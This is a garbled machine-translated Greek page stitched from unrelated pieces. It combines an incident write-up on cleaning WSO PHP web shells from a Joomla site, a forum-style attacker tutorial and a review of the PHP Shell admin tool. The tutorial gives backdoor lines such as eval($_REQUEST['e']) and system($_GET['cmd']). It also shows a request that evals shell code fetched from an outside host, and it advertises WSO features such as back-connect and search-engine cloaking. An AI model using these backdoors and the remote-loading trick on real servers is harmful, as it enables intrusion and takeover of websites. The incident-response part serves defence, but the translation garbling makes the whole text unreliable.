Πώς το AntiShell Web Shell Hunter σάς βοηθά να βρείτε κακόβουλα κελύφη ιστού. Κακόβουλο σενάριο κελύφους PHP - όπου μεγαλώνουν τα πόδια από το What is a web shell

Εντοπίστηκε κακόβουλο σενάριο κελύφους WSO PHP /libraries/simplepie/idn/OpenIDOpenID.php (ιστότοπος Joomla! 3). Επί αυτή τη στιγμήορίζεται μόνο από ορισμένα προγράμματα προστασίας από ιούς όπως JS / SARS.S61, PHP: Decode-DE, Trojan.Html.Agent.vsvbn, PHP.Shell.354, php.cmdshell.unclassed.359.UNOFFICIAL.

Μια «καλή» (όπως μπορεί να κάνει ο καθένας) μέρα, ένας από τους θαλάμους μας (http://ladynews.biz), ως αποτέλεσμα της σάρωσης του ιστότοπού του με το hosting antivirus, έλαβε αυτό το μήνυμα:

Στον λογαριασμό βρέθηκαν αρχεία με κακόβουλο περιεχόμενο. Συνιστούμε ανεπιφύλακτα να περιορίσετε την πρόσβαση στον λογαριασμό FTP μόνο από τις διευθύνσεις IP που χρησιμοποιείτε και επίσης χρησιμοποιείτε προστασία από ιούςγια να ελέγξετε τον λογαριασμό σας για ιούς. Ανατρέξτε στις Οδηγίες μας για την Ασφάλεια και την Πρόληψη του Hacking για την πρόληψη της εκ νέου μόλυνσης.

Φυσικά, προτάθηκε να αντιμετωπιστεί αυτό το αίσχος - η σάρωση με το τυπικό antivirus ClamAV, με ένα σύνολο προεπιλεγμένων βάσεων δεδομένων προστασίας από ιούς, δεν έδωσε κανένα επιπλέον αποτέλεσμα.

Την εποχή της αρχής αυτής της ιστορίας (23-10-2015), αυτό το σενάριο του κελύφους ιών απουσίαζε στις βάσεις δεδομένων προστασίας από ιούς των περισσότερων προγραμμάτων προστασίας από ιούς, συμπεριλαμβανομένων των "τεράτων" όπως τα Comodo, DrWeb, ESET-NOD32, GData, Kaspersky , McAfee, Microsoft, Symantec, TrendMicro κ.λπ., κάτι που επιβεβαιώθηκε και από τον διαδικτυακό σαρωτή VirusTotal στις 23-10-2015. Μόνο μερικά προγράμματα προστασίας από ιούς μπόρεσαν να αναγνωρίσουν το κακόβουλο σενάριο PHP:

Ημερομηνία αποτελεσμάτων προστασίας από ιούς της ενημέρωσης AhnLab-V3 JS / SARS. S61 20151022 Avast PHP: Decode- DE [Trj] 20151023 NANO- Antivirus Trojan. Html. Μέσο. vsvbn 20151023

Την ίδια μέρα, οι ClamAV και Dr.Web ειδοποιήθηκαν για τον εντοπισμό ενός κακόβουλου σεναρίου. Το ClamAV εξακολουθεί να είναι πεισματικά σιωπηλό και ο Dr.Web αντέδρασε στο κακόβουλο πακέτο μέσα σε 24 ώρες:

Το αίτημά σας αναλύθηκε. Η αντίστοιχη καταχώρηση έχει προστεθεί στη βάση δεδομένων ιών Dr.Web και θα είναι διαθέσιμη κατά την επόμενη ενημέρωση.

Απειλή: PHP.Shell.354

Το Dr.Web κράτησε την υπόσχεσή του και το σενάριο ιών OpenIDOpenID.php ορίζεται πλέον ως PHP.Shell.354, ωστόσο πολλά προγράμματα προστασίας από ιούς όπως ClamAV, Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro, κτλ. ακόμα δεν έχουν ιδέα για αυτό (από 25-10-2015).

Εντάξει, διαγράψαμε το αρχείο, αλλά για πόσο; Από πού προήλθε, μπορούμε μόνο να μαντέψουμε. Τι έπεται? Αρχίζουμε να βάζουμε όλα τα είδη των στοιχείων του Securitycheck και να αλλάζουμε τους κανόνες στο .htaccess που απαγορεύει την πρόσβαση σε όλα και σε όλους, επειδή στην κοινή φιλοξενία (γνωστή και ως Shared hosting, κοινόχρηστη φιλοξενία) δεν έχουμε καμία εξουσία για περισσότερα. Πόσο καιρό θα σώσουν αυτά τα μέτρα, κανείς δεν ξέρει.

Παρεμπιπτόντως, στο θέμα των στοιχείων του Securitycheck... Το Securitycheck είναι ένα στοιχείο για το Joomla! και αρκετά καλό. Και εδώ είναι μια ορισμένη "Προστασία ιστότοπου κατά των ιών" που συνιστώ ανεπιφύλακτα εναντίον οποιουδήποτε, εδώ είναι μια επικυρωμένη κριτική σχετικά με αυτήν την "Προστασία ιστότοπου κατά των ιών":

Αυτό το στοιχείο δημιουργεί επίσης ένα αρχείο pack.tar στο / tmp σας που περιέχει το configuration.php και οποιουσδήποτε άλλους κωδικούς πρόσβασης βρέθηκαν! ΝΑ ΕΙΣΑΙ ΣΕ ΕΠΙΦΥΛΑΞΗ ΓΙΑ

Που σε μετάφραση σημαίνει: «αυτό το συστατικό δημιουργεί επίσης αντιγράφων ασφαλείαςολόκληρο το site στο αρχείο /tmp/pack.tar, το οποίο περιέχει configuration.php με κωδικούς πρόσβασης από τη βάση δεδομένων! ΠΡΟΣΟΧΗ "- αυτό σημαίνει ότι η "Προστασία ιστότοπου" δεν μυρίζει από αυτό το στοιχείο, κάτι που θα πρέπει επίσης να οδηγήσει το θύμα να σκεφτεί να αλλάξει τις διαδρομές στους καταλόγους / logs, / tmp, / cache και να αρνηθεί την πρόσβαση σε αυτούς.

Κάνοντας κλικ σε αυτόν τον σύνδεσμο, μπορείτε να καταλάβετε ότι το πρόβλημα είναι τουλάχιστον περισσότερο από ένα έτος. Κοιτάζοντας εδώ, θα καταλάβουμε ότι η κάλυψη του σεναρίου του φλοιού δεν γίνεται από το tricky base64_encode / gzdeflate, που σημαίνει ότι κάπου αλλού πρέπει να υπάρχει ένα τμήμα που καλεί / συνδέει το OpenIDOpenID.php και εκτελεί το base64_decode / gzinflate. Επομένως, το OpenIDOpenID.php είναι μόνο ένα αποτέλεσμα (γνωστός και ως συνέπεια), και όχι ένας λόγος για τον οποίο το θύμα παραπονιέται ότι έχει αρχίσει να αποστέλλεται ανεπιθύμητη αλληλογραφία από τον διακομιστή σε βιομηχανική κλίμακα και η μη αυτόματη διαγραφή κακόβουλων αρχείων δεν βοηθά, μετά την οποία Το θύμα δεν παραπονιέται για τίποτα, εκτός από τη φιλοξενία NIC-RU, δεν υπάρχει κανένας άλλος. Η "διαρροή" εικονική φιλοξενία μπορεί κάλλιστα να είναι πολύ καλή. Ακόμη και συχνά οι άνθρωποι του IMHO εργάζονται εκεί για μισθό, και όχι για μια ιδέα, αλλά σε ορισμένες περιπτώσεις το πρόβλημα μπορεί να είναι πολύ βαθύτερο.

Για παράδειγμα, "Εντοπίστηκε κακόβουλο πρόγραμμα εισαγωγής iFrame σε αρχείο Adobe Flash". Νομίζω ότι δεν είναι μυστικό για κανέναν ότι μπορείτε να γράψετε διεπαφές για τη μεταφόρτωση αρχείων στον ιστότοπο σε Flash και να κάνετε πολλά ακόμα ενδιαφέροντα πράγματα στο ActionScript. Ιός σε αρχεία .swf ( Adobe flash), όπως έχει δείξει η πρακτική, μπορεί να παραμείνει απαρατήρητη για χρόνια και να είναι μια μαύρη πόρτα στον ιστότοπο ( aka πίσω πόρτα - πίσω πόρτα) μέσω των οποίων «πετάγονται» αρχεία όπως το «OpenIDOpenID.php», τα οποία μπορούν να διαγραφούν μέχρι να μπλε χρώμα στο πρόσωπο και χωρίς αποτέλεσμα.

Τι να κάνετε, πώς να βρείτε τον «αδύναμο κρίκο» ανάμεσα σε χιλιάδες αρχεία; Για να το κάνετε αυτό, πρέπει να χρησιμοποιήσετε τη λεγόμενη ευρετική ανάλυση και, σε ορισμένες περιπτώσεις, να χρησιμοποιήσετε βάσεις δεδομένων προστασίας από ιούς τρίτων. Θα πρέπει να ληφθεί υπόψη ότι η ευρετική ανάλυση, ανάλογα με τις ρυθμίσεις της, μπορεί να δώσει πολλά ψευδώς θετικά στοιχεία από ό,τι όταν χρησιμοποιούνται πρόσθετες υπογραφές ιών από τρίτους προγραμματιστές.

Πού μπορώ να βρω βάσεις δεδομένων προστασίας από ιούς τρίτων; Για παράδειγμα, οι βάσεις δεδομένων με υπογραφές προστασίας από ιούς τρίτων για το ClamAV μπορούν να ληφθούν δωρεάν στις www.securiteinfo.com, malwarepatrol.net, rfxn.com. Πώς μπορώ να χρησιμοποιήσω αυτές τις πρόσθετες βάσεις δεδομένων προστασίας από ιούς; Αυτή θα είναι μια εντελώς διαφορετική ιστορία. Μπορούμε μόνο να πούμε ότι οι πρόσθετες βάσεις δεδομένων προστασίας από ιούς για το ClamAV από το rfxn.com (έργο LMD (Linux Malware Detect)) στοχεύουν στην αναζήτηση κακόβουλου λογισμικού σε εφαρμογές web και δίνουν καλύτερα αποτελέσματα. Το rfxn.com δηλώνει επίσης ότι το 78% των απειλών των οποίων τα δακτυλικά αποτυπώματα βρίσκονται στη βάση δεδομένων τους δεν εντοπίζονται από περισσότερα από 30 εμπορικά προγράμματα προστασίας από ιούς - και το πιθανότερο είναι να είναι.

Λοιπόν... Πώς τελείωσε η ιστορία με το κακόβουλο σενάριο του κελύφους PHP OpenIDOpenID.php;

Αποφασίστηκε να γίνει αποθήκευση σε πρόσθετες βάσεις δεδομένων προστασίας από ιούς για το ClamAV από το malwarepatrol.net και το rfxn.com, να κατεβάσετε ένα αντίγραφο ασφαλείας των αρχείων του ιστότοπου και να τα σαρώσετε τοπικά, εδώ είναι το αποτέλεσμα σάρωσης:

$ clamscan / ladynews.biz / ../ game_rus.swf: MBL_647563.UNOFFICIAL ΒΡΕΘΗΚΕ / ../ farmfrenzy_pp_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ beachpartycraze_rus.swFUNOFICIAL / ../ beachpartycraze_rus.sw3UNFFICIAL MBL_647563.UNOFFICIAL FOUND. / ../ loader_rus.swf: MBL_647563. ΒΡΕΘΗΚΕ ΑΝΕΠΙΣΤΗΜΟ ----------- ΠΕΡΙΛΗΨΗ ΣΑΡΩΣΗΣ ----------- Γνωστοί ιοί: 4174348 Έκδοση μηχανής: 0.98.7 Σαρωμένοι κατάλογοι: 3772 Σαρωμένα αρχεία: 18283 Μολυσμένα αρχεία: 5 Σύνολο σφαλμάτων: 1 Σαρωμένα δεδομένα: 417,76 MB Αναγνωσμένα δεδομένα: 533,51 MB (αναλογία 0,78: 1) Χρόνος: 1039,768 δευτ. (17 m 19 s)

/libraries/simplepie/idn/OpenIDOpenID.phpόπως προαναφέρθηκε τα αρχεία .swf έχουν διαγραφεί, αλλά λύθηκε το πρόβλημα; Είναι δύσκολο να πούμε μέχρι στιγμής - σκάβουμε περαιτέρω ...

Από την αποκρυπτογραφημένη έκδοση του αρχείου /libraries/simplepie/idn/OpenIDOpenID.php(http://pastebin.com/WRLRLG9B) κοιτάζοντας τη σταθερά @define ("WSO_VERSION", "2.5"); , γίνεται σαφές ότι πρόκειται για ένα προϊόν που ονομάζεται WSO. Αφού σκάψαμε λίγο το δίκτυο για τη λέξη-κλειδί WSO, προέκυψαν τα ακόλουθα αποτελέσματα:

Αποδεικνύεται ότι το θέμα δεν είναι νέο για μεγάλο χρονικό διάστημα, οπότε παίρνουμε το regexxer στα δόντια μας, συνεχίζουμε να συλλέγουμε τα αρχεία του ιστότοπου και να βρίσκουμε: Σφάλμα ανοίγματος καταλόγου "/ home / user / libraries / joomla / cache / controller / cache ": Δεν επιτρέπεται η πρόσβαση

Αχα, ορίστε, σ.κα που αλλού σερανούλο! Εξετάζουμε τα δικαιώματα στον κατάλογο, τα οποία δεν πρέπει να είναι από προεπιλογή, = chmod 111 (γνωστό και ως Εκτέλεση για Κάτοχος / Ομάδα / Όλα). Έτσι, κάτι κάθεται κάπου και διαδίδεται μέσω καταλόγων, κρύβεται ακόμα και από ιούς με chmod 111.

Αφού εγκατέστησα το chmod 551 για τον κατάλογο και έψαξε μέσα, βρέθηκε /libraries/joomla/cache/controller/cache/cache/langs.php, πηγήπου δημοσιεύεται εδώ: http://pastebin.com/JDTWpxjT - κατάλογος / βιβλιοθήκες / joomla / cache / ελεγκτής / cacheδιαγράφω.

Τέλεια, τώρα βάζουμε σε σειρά τα chmods για όλα τα αρχεία και τους καταλόγους:

# μαζική αλλαγή δικαιωμάτων (chmod) σε αρχεία στον κατάλογο. / dirname και παρακάτω find / home / user / public_html -type f -exec chmod 644 () \; # δικαιώματα μαζικής αλλαγής (chmod) σε. / dirname και παρακάτω find / home / user / public_html -type d -exec chmod 755 () \;

Για άλλη μια φορά επαναλαμβάνουμε τον έλεγχο προστασίας από ιούς με πρόσθετες βάσεις δεδομένων clamscan /ladynews.biz, αλλά όλα υποτίθεται ότι είναι καθαρά.

Επαναλαμβάνουμε την αναζήτηση αρχείων με το regexxer και προσπαθούμε να κάνουμε αναζήτηση κατά λέξεις-κλειδιά OpenIDOpenID, OpenID ή WSO - και, καταλήγουμε στο συμπέρασμα ότι το ψευδοτμήμα αποδείχθηκε πολύ ευρύτερο και βαθύτερο:

  • - δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/jYEiZY9G
  • /administrator/components/com_finder/controllers/imagelist.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/0uqDRMgv
  • /administrator/components/com_users/tables/css.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/8qNtSyma
  • /administrator/templates/hathor/html/com_contact/contact/toolbar.trash.html.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/CtVuZsiz
  • /components/com_jce/editor/tiny_mce/plugins/link/img/Manager.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/2NwTNCxx
  • /libraries/joomla/application/web/router/helpsites.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/ANHxyvL9
  • /plugins/system/ytshortcodes/XML.php- δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/GnmSDfc9
  • /templates/index.php - δεν θα έπρεπε να είναι εδώ, εδώ είναι η πηγή του: http://pastebin.com/gHbMeF2t

/administrator/components/com_admin/index.phpκαι /templates/index.php ήταν πιθανώς σενάρια εισόδου που εκτελούσαν τον κύριο κώδικα χρησιμοποιώντας τη συνάρτηση eval () που έχει καταργηθεί, η οποία επίσης χρησιμοποιούσε:

Λοιπόν, η λογική πίσω από την απόκρυψη του κακόβουλου κώδικα είναι ξεκάθαρη. Τώρα, αν ψάξουμε για την κατασκευή "eval ($", θα βρούμε πολύ πιο ενδιαφέροντα πράγματα:

  • /administrator/components/com_admin/sql/updates/postgresql/php.php- http://pastebin.com/gRHvXt5u
  • /components/com_kunena/template/blue_eagle/media/iconsets/buttons/bluebird/newsfeed.php -
  • /components/com_mailto/helpers/index.php -
  • /components/com_users/views/login/file.php -
  • /components/com_users/controller.php- μολυσμένο και χρειάζεται αντικατάσταση!
  • /includes/index.php -
  • /libraries/joomla/string/wrapper/section.php -
  • /libraries/legacy/access/directory.php -
  • /libraries/nextend/javascript/jquery/InputFilter.php -
  • /libraries/nextend/smartslider/admin/views/sliders_slider/tpl/config_tinybrowser.php -
  • /libraries/xef/assets/less/admin.frontpage.php -
  • /media/editors/codemirror/mode/rust/Alias.php -
  • /modules/mod_kunenalatest/language/zh-TW/smtp.php -
  • /modules/mod_kunenalogin/language/de-DE/XUL.php -
  • /plugins/content/jw_allvideos/jw_allvideos/includes/js/mediaplayer/skins/bekle/CREDITS.php -
  • /templates/sj_news_ii/html/mod_sj_contact_ajax/toolbar.messages.php -

Δεν έχουν αναρτηθεί κώδικας σε όλα τα ακόμα ιογενή σενάρια PHP στο pastebin.com επειδή επιτρέπονται μόνο 10 δημοσιεύσεις εντός 24 ωρών. Γενικά, η σειρά διαγραφής είναι περίπου η εξής:

Ναι, σχεδόν ξέχασα - πριν ξεκινήσω την αφαίρεση κακόβουλων σεναρίων, δεν θα βλάψετε να προσθέσετε αρκετούς κανόνες στο .htaccess που απαγορεύουν την άμεση πρόσβαση σε οποιαδήποτε αρχεία .php σε οποιονδήποτε κατάλογο, αλλά επιτρέπουν την πρόσβαση μόνο στα ριζικά αρχεία / ή /index .php και / administrator / ή /administrator/index.php - αυτό θα εμποδίσει τον κακόβουλο εισβολέα να έχει πρόσβαση σε εισερχόμενα σενάρια φλοιού που είναι κρυμμένα σε διάφορους καταλόγους συστήματος:

UPD 28-10-2015: Λοιπόν, τι; Είστε ήδη χαλαροί; Είναι πολύ νωρίς...

Τώρα ας κοιτάξουμε στα wilds των αρχείων του ιστότοπου δυαδικά αρχεία, που δεν πρέπει να είναι καθόλου στον κινητήρα:

find / mypath / -executable -type f find / mypath / -type f -perm -u + x find / mypath / -type f | αρχείο xargs | grep "\: \ * data $"

Όποιος ψάχνει θα βρίσκει πάντα (δυαδικά):

  • /modules/mod_p30life_expectancy_calc/tmpl/accordian.pack.js
  • /images/stories/audio/34061012-b1be419af0b9.mp3
  • /libraries/xef/sources/folder/navigation.php
  • /libraries/joomla/application/web/application.php
  • /libraries/joomla/document/json/admin.checkin.php
  • /libraries/nextend/assets/css/LICENSES.php
  • /libraries/fof/config/domain/toolbar.categories.html.php
  • /libraries/fof/form/field/client.php
  • /libraries/phputf8/sysinfo_system.php
  • /components/com_mobilejoomla/index.php
  • /components/com_mobilejoomla/sysinfo_system.php
  • /components/index.php
  • /components/com_banners/sysinfo_config.php
  • /components/com_kunena/views/home/admin.checkin.php
  • /components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/toolbar.checkin.php
  • /components/com_jce/editor/tiny_mce/plugins/colorpicker/admin.cache.php

Ας συνοψίσουμε

Από πού προήλθαν τα σκέλη αυτής της μόλυνσης, δεν ήταν δυνατό να διαπιστωθεί με αξιοπιστία - εάν φταίει μια κρίσιμη ευπάθεια που βρέθηκε πρόσφατα στον κινητήρα που επιτρέπει την εκτέλεση έγχυσης SQL και κλιμάκωση προνομίων ή τα αρχεία που αναφέρονται παραπάνω επισημάνθηκαν ως κακόβουλα αρχεία .swf, ή που δεν έχει ακόμη ανακαλυφθεί. Είναι μια ευπάθεια σε κάποιο από τα στοιχεία ή τα πρόσθετα τρίτων ή μια διαρροή εικονικής φιλοξενίας Ιστού - το ερώτημα παραμένει ανοιχτό;

Προς το παρόν, τα εντοπισμένα κακόβουλα αρχεία έχουν καθαριστεί, τα αρχεία του κινητήρα έχουν επαναφορτωθεί πλήρως, οι κανόνες στο .htaccess είναι φραγμοί... Ποιος έχει χρόνο και ποιος ενδιαφέρεται να συγκεντρώσει και να διαλέξει αυτό το σωρό σκατά μπορεί να κατεβάσει το αρχείο wso -php-shell-in-joomla.zip - όλα τα παραπάνω κακόβουλα αρχεία PHP είναι συσκευασμένα εκεί, ο κωδικός πρόσβασης για το αρχείο είναι: www.site

ΣΥΝΟΛΟ: Δεν υπάρχει ποτέ υπερβολική παράνοια και οποιοδήποτε δωρεάν ή εμπορικό antivirus με τα ευρετικά του στοιχεία μαζί με πρόσθετες βάσεις δεδομένων υπογραφών απέχει πολύ από το να είναι πανάκεια. Επομένως, οποιαδήποτε anti-virus είναι ένα ξεπερασμένο εργαλείο για την προστασία ενός ενεργού περιβάλλοντος πολλών χρηστών και για την αποτροπή διαφόρων άγνωστων απειλών, θα πρέπει να χρησιμοποιήσετε παρανοϊκές μεθόδους προστασίας, για παράδειγμα: virtualization, SELinux, Bastille Linux, immutable bit, ecryptfs κ.λπ.!

  • Απειλή: WSO PHP Web Shell
  • Θύμα: ladynews.biz

Δεν είναι αυτό ένα άρθρο, αλλά θα είναι χρήσιμο σε πολλούς. Έτσι, μπήκαμε στον πίνακα διαχείρισης, στο τέλος μπορέσαμε τουλάχιστον να στριμώξουμε κάπου αυτόν τον κώδικα, για παράδειγμα:

if (isset ($ _ REQUEST ["e"])) eval (stripslashes ($ _ REQUEST ["e"]));


ή απλά:

διεκδίκηση (stripslashes ($ _ REQUEST));


stripslash σε αυτήν την περίπτωση αποκλειστικά για παράκαμψη magic_quotes = ON
Πολλά ένθετα

σύστημα ($ _ GET ["cmd"])

Και άλλες ασχήμιες, αλλά όλα αυτά είναι περιττά, στην πραγματικότητα, όλα είναι πιο απλά. Έτσι, εισαγάγατε αυτόν τον κώδικα κάπου (στο faq.php, ή έχετε ήδη μια τέτοια κερκόπορτα κάπου στα βάθη των σεναρίων διακομιστή).
Εκείνοι. στο τέλος, για παράδειγμα, πετύχατε τον ακόλουθο σύνδεσμο για να εργαστείτε:

http: //localhost/user.php e = phpinfo ();


Και μετά από αυτό, πολλοί αρχάριοι έχουν μια λήθαργο. Αμέσως η επόμενη ερώτηση είναι - τι να κάνετε στη συνέχεια;
Και ας ρίξουμε μια πιο προσεκτική ματιά σε αυτό το phpinfo, το οποίο μας έφερε τα δύο κύρια σημεία που θα μας ενδιαφέρουν σε αυτήν την κατάσταση:

allow_url_fopen
allow_url_include

allow_url_include

Ναι, κασσίτερος, φυσικά, αλλά συνήθως εκτός.

Λείψανα

Και αυτός, κατά κανόνα, = ΟΝ. Πώς μπορούμε να εκμεταλλευτούμε αυτήν την ευκαιρία, που άφησε αλόγιστα ο διαχειριστής, για να μην κάνουμε υπερβολικό steam (μην ψάχνετε για φακέλους διαθέσιμους για γράψιμο και μάθετε τέτοιες ανοησίες και γενικά μην γεμίζετε το κέλυφος ως τέτοιο, αλλά ανεβείτε στον διακομιστή σαν να το κέλυφος είναι ήδη γεμάτο). Είναι πολύ απλό. Αν

allow_url_fopen = ON

Και έχετε έναν κωδικό που εμφανίζει τουλάχιστον ότι έχετε ήδη διαβάσει όλες τις ρυθμίσεις παραμέτρων, συγχωνεύσατε όλα όσα χρειάζεστε κ.λπ. (δεν πρέπει να συγχέεται με το "twist", μόνο αυτό που μπορείτε να διαβάσετε)

Παίρνουμε το τελευταίο κέλυφος από τον αγαπητό σφαίρα, αφαιρέστε την πρώτη γραμμή:

+
διαγράψτε το τελευταίο
+
μπορείτε να διαγράψετε τον κωδικό πρόσβασης, δεν γεμίζουμε το κέλυφος, απλώς τον χρησιμοποιούμε χωρίς να φύγουμε

αποθήκευση σε οποιοδήποτε κεντρικό υπολογιστή ως bla_bla.txt(το ίδιο narod.ru είναι καλό) ή με τη μορφή μιας εικόνας σε μια υπηρεσία φιλοξενίας αρχείων που παρέχει άμεσους συνδέσμους για λήψη περιεχομένου και υποβάλετε το ακόλουθο αίτημα:
Κώδικας:

http: //localhost/user.php a = eval (file_get_contents ("http://site.ru/bla_bla.txt"));


Τα παντα. Έχετε ένα πλήρες κέλυφος χωρίς να το ανεβάσετε στον διακομιστή με όλες τις συνήθεις δυνατότητες του κελύφους. Ευχαριστώ για την προσοχή
ΥΣΤΕΡΟΓΡΑΦΟ:δοκιμασμένο σε WSO2.4 ( wso2_pack.php)

Περιγραφή κελύφους:
Εξουσιοδότηση
Πληροφορίες διακομιστή
Διαχείριση αρχείων (Αντιγραφή, μετονομασία, μετακίνηση, διαγραφή, chmod, αφή, δημιουργία αρχείων και φακέλων)
Προβολή, hexview, επεξεργασία, backload, upload αρχείων
Εργασία με αρχεία zip (συσκευασία, αποσυσκευασία)
Κονσόλα
Διαχειριστής SQL (MySql, PostgreSql)
Εκτέλεση κώδικα PHP
Εργασία με συμβολοσειρές + αναζήτηση κατακερματισμού σε διαδικτυακές βάσεις δεδομένων
Bindport και back-connect (Perl)
Αναζήτηση κειμένου σε αρχεία
* nix / Windows
Από τις μάρκες
Μηχανή κατά της αναζήτησης (Ελέγχεται ο παράγοντας χρήστη, εάν μια μηχανή αναζήτησης, τότε επιστρέφεται ένα σφάλμα 404)
Η κονσόλα θυμάται τις εντολές που έχουν εισαχθεί. (μπορείτε να πλοηγηθείτε σε αυτά χρησιμοποιώντας τα πάνω και κάτω βέλη όταν εστιάσετε στο πεδίο εισαγωγής)
Μπορεί να χρησιμοποιήσει AJAX
Ελαφρύ (24,32 KB)
Επιλέγοντας την κωδικοποίηση στην οποία εκτελείται το κέλυφος.

Αυτό το βοηθητικό πρόγραμμα παρέχει μια διεπαφή ιστού για απομακρυσμένη εργασία με το λειτουργικό σύστημα και τις υπηρεσίες / δαίμονές του.
Η χρήση αυτού του προϊόντος για παράνομους σκοπούς υπόκειται σε ποινική ευθύνη.

Το αρχείο περιέχει την τελευταία έκδοση του κελύφους και ένα μικρό εργαλείο WSOmanager για εργασία με κελύφη.

Λήψη κελύφους:

Πρόσφατα, στις τεράστιες εκτάσεις του Διαδικτύου, συνάντησα την αναφορά του " PHP Shell". Πριν από μερικά χρόνια αυτό το βοηθητικό πρόγραμμα με βοήθησε πολύ και τώρα θέλω να δώσω ένα είδος χρέους στον προγραμματιστή του Martin Geisler (http://mgeisler.net/).

Ποιος είναι ο σκοπός του "PHP Shell"; Πιστεύω ότι κάθε "προχωρημένος" προγραμματιστής ιστού, πόσο μάλλον οι sysadmin, έχει συναντήσει και χρησιμοποιήσει SSH. Το SSH μας επιτρέπει να έχουμε απομακρυσμένη πρόσβαση στον διακομιστή και να εκτελούμε εντολές φλοιού σε αυτόν (καλά, υπάρχουν όλα τα είδη εντολών όπως περπάτημα στους καταλόγους εμπρός και πίσω, πάνω και κάτω, μετακίνηση, διαγραφή και αντιγραφή αρχείων, εκτέλεση σεναρίων και κάθε είδους έξυπνα βοηθητικά προγράμματα ), σαν να έχει επιμηκυνθεί το καλώδιο στην οθόνη σας από τη μονάδα συστήματος σε απίστευτες διαστάσεις και να φτάσει, μέχρι τον διακομιστή του hoster. Πρέπει να πω ότι είναι δυνατό να γίνει σήραγγα μέσω ssh και X-graphics, μιας εικόνας επιφάνειας εργασίας που εμφανίζει εφαρμογές παραθύρων που εκτελούνται, αλλά αυτό σαφώς δεν είναι για διακομιστές ιστού.

Εν ολίγοις, αν δεν έχετε SSH στο hosting σας, τότε «τι φταίει στο βασίλειο της Δανίας». Το μειονέκτημα είναι ότι συχνά το SSH είναι απενεργοποιημένο από προεπιλογή στον "φρέσκο" ιστότοπό σας και χρειάζεται λίγος χρόνος για να τσακωθείτε με την ομάδα υποστήριξης για να λειτουργήσει το ssh. Αυτό ακριβώς συνέβη εκείνο το μακρινό χειμωνιάτικο βράδυ. Χρειαζόμουν επειγόντως να μεταφέρω τον ιστότοπο από το ένα μηχάνημα στο άλλο, κατά τη διάρκεια του οποίου προέκυψαν προβλήματα, και συνήθως έβγαζα τη συντόμευση του στόκου στην επιφάνεια εργασίας για να δω τι υπήρχε "μέσα" στον ασθενή. Ωχ... και η υποστήριξη ssh δεν είναι ενεργοποιημένη. Πώς να είσαι; Εάν είστε αρκετά ικανοί στον προγραμματισμό σε κάποια γλώσσα εκεί, τότε δεν θα είναι δύσκολο να γράψετε ένα μικρό σενάριο που υλοποιεί την επιθυμητή εργασία. Άνοιξα το google και, έχοντας περάσει από μερικούς συνδέσμους, βρήκα μια αναφορά στο PHP Shell. Με λίγα λόγια έφυγα από το σπίτι στην ώρα μου.

Στην πραγματικότητα, ήμουν πολύ τυχερός που είχα αρκετά τις περιορισμένες δυνατότητες του κελύφους που μου παρείχε η PHP Shell - εξακολουθεί να είναι μια απομίμησή της.

Στον πυρήνα του, το PHP Shell χρησιμοποιεί τη συνάρτηση php - proc_open. Αυτή η συνάρτηση εκτελεί μια εντολή και ανοίγει ροές I/O για να εισάγει κάποιες πληροφορίες στην εφαρμογή (μιμούμενη χειροκίνητη εισαγωγή σαν σε πληκτρολόγιο) και να εξάγει τα αποτελέσματα της εργασίας (αν γνωρίζετε τι είναι οι σωλήνες, τότε μιλάμε για τους). Στην πραγματικότητα, η συνάρτηση proc_open είναι μια βελτιωμένη και διευρυμένη έκδοση των λειτουργιών exec ή συστήματος. Εκείνοι, ωστόσο, ξεκίνησαν μόνο το πρόγραμμα και δεν έδωσαν την ευκαιρία να αλληλεπιδράσουν μαζί του, έπρεπε να καθορίσετε αμέσως όλα τα απαραίτητα δεδομένα για να λειτουργήσει η εντολή στις παραμέτρους της γραμμής εντολών. Το proc_open σάς επιτρέπει να δημιουργήσετε σωλήνες που σχετίζονται με το php-script σας και, κατά συνέπεια, μπορείτε να προσομοιώσετε την εισαγωγή δεδομένων στο πρόγραμμα και να διαβάσετε τα αποτελέσματα της εργασίας του. Για τους λάτρεις της δωρεάν φιλοξενίας, θα πω αμέσως:

"ΟΧΙ, ΔΕΝ ΜΠΟΡΕΙΤΕ ΝΑ ΠΑΡΕΤΕ ΠΡΟΣΒΑΣΗ SSH ΜΕ ΤΟ PHP Shell."

Το θέμα είναι, για δωρεάν ή πολύ φθηνή φιλοξενία, συνηθίζεται να τρέχουμε php σε safe_mode. Ένας αριθμός λειτουργιών είναι απενεργοποιημένοι σε αυτό, συμπεριλαμβανομένου του proc_open.

"ΟΧΙ, ΔΕΝ ΘΑ ΜΠΟΡΕΙΤΕ ΝΑ ΧΕΙΡΙΣΤΕΙΤΕ ΤΟ ΔΙΑΔΡΑΣΤΙΚΟ ΛΟΓΙΣΜΙΚΟ ΧΡΗΣΙΜΟΠΟΙΩΝΤΑΣ PHPSHELL."

Η ίδια η ουσία του Ιστού μας λέει ότι δεν είναι δυνατό να τρέξουμε σε έναν απομακρυσμένο διακομιστή κάποιο πρόγραμμα που θα συνέχιζε να λειτουργεί και θα μας επέτρεπε να εισάγουμε και να εξάγουμε δεδομένα κατά τη διάρκεια πολλών ξεχωριστών αιτημάτων http.

"ΟΧΙ, ΔΕΝ ΜΠΟΡΕΙΤΕ ΝΑ ΠΑΡΕΤΕ ΠΡΟΣΒΑΣΗ ΣΕ ΟΛΑ ΤΑ ΠΡΟΓΡΑΜΜΑΤΑ, ΤΑ ΑΡΧΕΙΑ ΚΑΙ ΤΟΥΣ ΦΑΚΕΛΟΥΣ ΣΤΟΝ ΔΙΑΚΟΜΙΣΤΗ."

